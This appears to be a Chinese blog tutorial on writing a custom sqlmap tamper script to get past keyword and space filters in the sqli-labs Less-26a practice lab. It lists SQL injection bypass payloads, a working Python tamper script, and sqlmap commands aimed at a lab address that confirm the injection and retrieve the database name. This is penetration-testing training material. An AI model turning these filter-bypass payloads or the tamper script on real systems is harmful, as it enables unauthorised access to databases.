• 修改sqlmap-Tamper脚本


    修改sqlmap-Tamper脚本

    1 sqlmap官网

    https://sqlmap.org/
    
    • 1

    2 sql注入漏洞注入尝试

    1. --+
    
    2. %23 --》代表# 
    
    3. 尝试宽字节注入
    
    4. 尝试id=2' and '1   # 返回发现and消失
    
    5.使用双写:id=2' aANDnd '1   #发现空格过滤
    
    6.使用双写:id=2'+aANDnd+'1  # 发现+号也被过滤掉
    
    7. 代替空格:id=2'%20aANDnd%20'1  #空格被过滤,使用代替16进制 --》%20,发现也被过滤
    
    8. 使用注释: id=2'/*--*/aANDnd/**--**/'1
    
    9.可以使用空格代替字符,(%09, %0A,  %0d, %0c, %a0) 
    
    10. id=2'%a0aANDnd%a0'1   # 测试可以使用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    3 环境:sqli-labs/Less-26a/

    在这里插入图片描述

    3.1 尝试宽字节注入:
    例如"%c0%af",来欺骗应用程序。这些编码的特殊字符在某些情况下会被解析为斜杠(/),从而绕过应用程序的输入验证过程
    
    • 1

    3.2 sqlmap使用

    ~\tools\sqlmap
    
    python  .\sqlmap.py -u "http://10.4.7.130/sqli-labs/less-26/?id=1"
    
    发现没有跑出来
    
    • 1
    • 2
    • 3
    • 4
    • 5
    3.3准备修改sqlmap使用
    find / -name "*sqlmap*"   
    /usr/share/sqlmap  # 发现sqlmap在此文件中
    
    • 1
    • 2

    4 sqlmap中-tamper工厂(输入输出)

    4.1 参考文章:sqlmap,Tamper详解及使用指南
    SQLMap是一款SQL注入神器,可以通过tamper对注入payload 进行编码和变形,以达到绕过某些限制的
    目的。但是有些时候,SQLMap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。
    sqlmap,Tamper详解及使用指南
    
    • 1
    • 2
    • 3
    tamper
    cp -R tamper tamper.bak  #备份复制模版
    
    • 1
    • 2
    4.2 sqlmap,Tamper详解及使用指南
    序号脚本名称注释
    10x2char将每个编码后的字符转换为等价表达
    2apostrophemask单引号替换为Utf8字符
    3apostrophenullencode替换双引号为%00%27
    4appendnullbyte有效代码后添加%00
    5base64encode使用base64编码
    6between比较符替换为between
    7bluecoat空格替换为随机空白字符,等号替换为like
    8chardoubleencode双url编码
    9charencode将url编码
    10charunicodeencode使用unicode编码
    11charunicodeescape以指定的payload反向编码未编码的字符
    12commalesslimit改变limit语句的写法
    13commalessmid改变mid语句的写法
    14commentbeforeparentheses在括号前加内联注释
    15concat2concatws替换CONCAT为CONCAT_WS
    16equaltolike等号替换为like
    17escapequotes双引号替换为\\
    18greatest大于号替换为greatest
    19halfversionedmorekeywords在每个关键字前加注释
    20htmlencodehtml编码所有非字母和数字的字符
    21ifnull2casewhenisnull改变ifnull语句的写法
    22ifnull2ifisnull替换ifnull为if(isnull(A))
    23informationschemacomment标示符后添加注释
    24least替换大于号为least
    25lowercase全部替换为小写值
    26modsecurityversioned空格替换为查询版本的注释
    27modsecurityzeroversioned添加完整的查询版本的注释
    28multiplespaces添加多个空格
    29nonrecursivereplacement替换预定义的关键字
    30overlongutf8将所有字符转义为utf8
    31overlongutf8more以指定的payload转换所有字符
    32percentage每个字符前添加%
    33plus2concat将加号替换为concat函数
    34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
    35randomcase字符大小写随机替换
    36randomcomments/**/分割关键字
    37securesphere添加某字符串
    38sp_password追加sp_password字符串
    39space2comment空格替换为/**/
    40space2dash空格替换为–加随机字符
    41space2hash空格替换为#加随机字符
    42space2morecomment空格替换为/_/
    43space2morehash空格替换为#加随机字符及换行符
    44space2mssqlblank空格替换为其他空符号
    45space2mssqlhash空格替换为%23%0A
    46space2mysqlblank空格替换为其他空白符号
    47space2mysqldash空格替换为–%0A
    48space2plus空格替换为加号
    49space2randomblank空格替换为备选字符集中的随机字符
    50symboliclogicalAND和OR替换为&&和||
    51unionalltounionunion all select替换为union select
    52unmagicquotes宽字符绕过GPC
    53uppercase全部替换为大写值
    54varnish添加HTTP头
    55versionedkeywords用注释封装每个非函数的关键字
    56versionedmorekeywords使用注释绕过
    57xforwardedfor添加伪造的HTTP头
    4.3 使用root权限使用vscode
    cd /usr/share/code/bin/
    
    sudo ./code # 如果打不开提示加参数,如下
    
    sudo ./code --no-sandbox --user-data-dir /tmp 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    4.4 选择复制Oeunion.py一个模版,进行编写

    在这里插入图片描述

    4.5 使用replace方法替换
    1.用replace方法
    python
    m="welcome, test"
    m.replace("test", '')
    'welcome, '  # 打印
    
    • 1
    • 2
    • 3
    • 4
    • 5
    4.6 re.sub(”搜索的内容“,“替换的内容”,变量)
    # 使用正则替换:
    m = "welcome,test"
    import re
    re.sub(r"test","tiihuan",m) # 第一个搜索值。第二个替换值,第三个上搜索资源或变量
    'wlcome,tihuan'   #打印内容
    
    • 1
    • 2
    • 3
    • 4
    • 5
    4.7 定义文件 sqli-label_26.py
    cd  /usr/share/sqlmap/temper  # 路径
    
    • 1
    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    import re
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.HIGHEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
        
        """
        payload = re.sub(r"#", " and '1", payload) 
        payload = re.sub(r"and", "aANDnd", payload) # 如果忽略大小写加(?i)-r"(?i)and"
        payload = re.sub(r"or", "oORr", payload)
        payload = re.sub(r" ", "%A0", payload)
    
        return payload                                      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    4.8 sqlmap使用参数大全

    参考指令大全

    5 执行编写的脚本

    sqlmap.py --help  # 查看帮助
    
    --version:显示当前sqlmap的版本号
    
    -h:显示帮助信息
    
    -hh:显示详细的帮助信息
    
    -v VERBOSE:详细级别,VERBOSE为数字,默认为
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    1. 常规执行
    ┌──(kali@kali)-[/usr/share/sqlmap]
    └─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  
    
    2. 加参数指定注入手法,进行排错
    --technique  U    # BEUSTQ中的U执行联合查询
    ┌──(kali@kali)-[/usr/share/sqlmap]
    └─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --technique  U
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述

    5.1 发现没有被替换,搜索只能搜索到小写or,忽略大小写匹配(?i)

    在这里插入图片描述
    在这里插入图片描述

    5.2 修改文件 sqli-label_26.py ,忽略大小写
     payload = re.sub(r"#", " and '1", payload)
     payload = re.sub(r"(?i)and", "aANDnd", payload)
     payload = re.sub(r"(?i)or", "oORr", payload)
     payload = re.sub(r" ", "%A0", payload)
    
    • 1
    • 2
    • 3
    • 4
    5.3 执行后,已经被替换,没有检测出联合查询漏洞,去掉指定检测手法

    在这里插入图片描述

    5.4 最终重新执行
    ┌──(kali💋kali)-[/usr/share/sqlmap]
    └─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=4" -v3 --tamper sqli-label_26.py 
    
    • 1
    • 2
    5.5 发现漏洞检测点

    在这里插入图片描述

    5.6 破解当前数据库名
    ┌──(kali💋kali)-[/usr/share/sqlmap]
    └─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --current-db
    
    • 1
    • 2

    在这里插入图片描述

  • 相关阅读:
    web前端tips:js继承——原型式继承
    TDengine 入门教程⑦——数据库管理工具 | IDEA 连接 TDengine
    Python协程(asyncio)(三)异步应用对象
    『力扣每日一题16』:存在重复元素
    众多mock工具,这一次我选对了
    (六)C++中的functor与lambda
    基于Python+SQLSERVER的快递业务管理系统的设计与实现
    利用nginx内部访问特性实现静态资源授权访问
    【hadoop | hive】hive on spark教程
    MyBatis 环境搭建
  • 原文地址:https://blog.csdn.net/weixin_42786460/article/details/133418476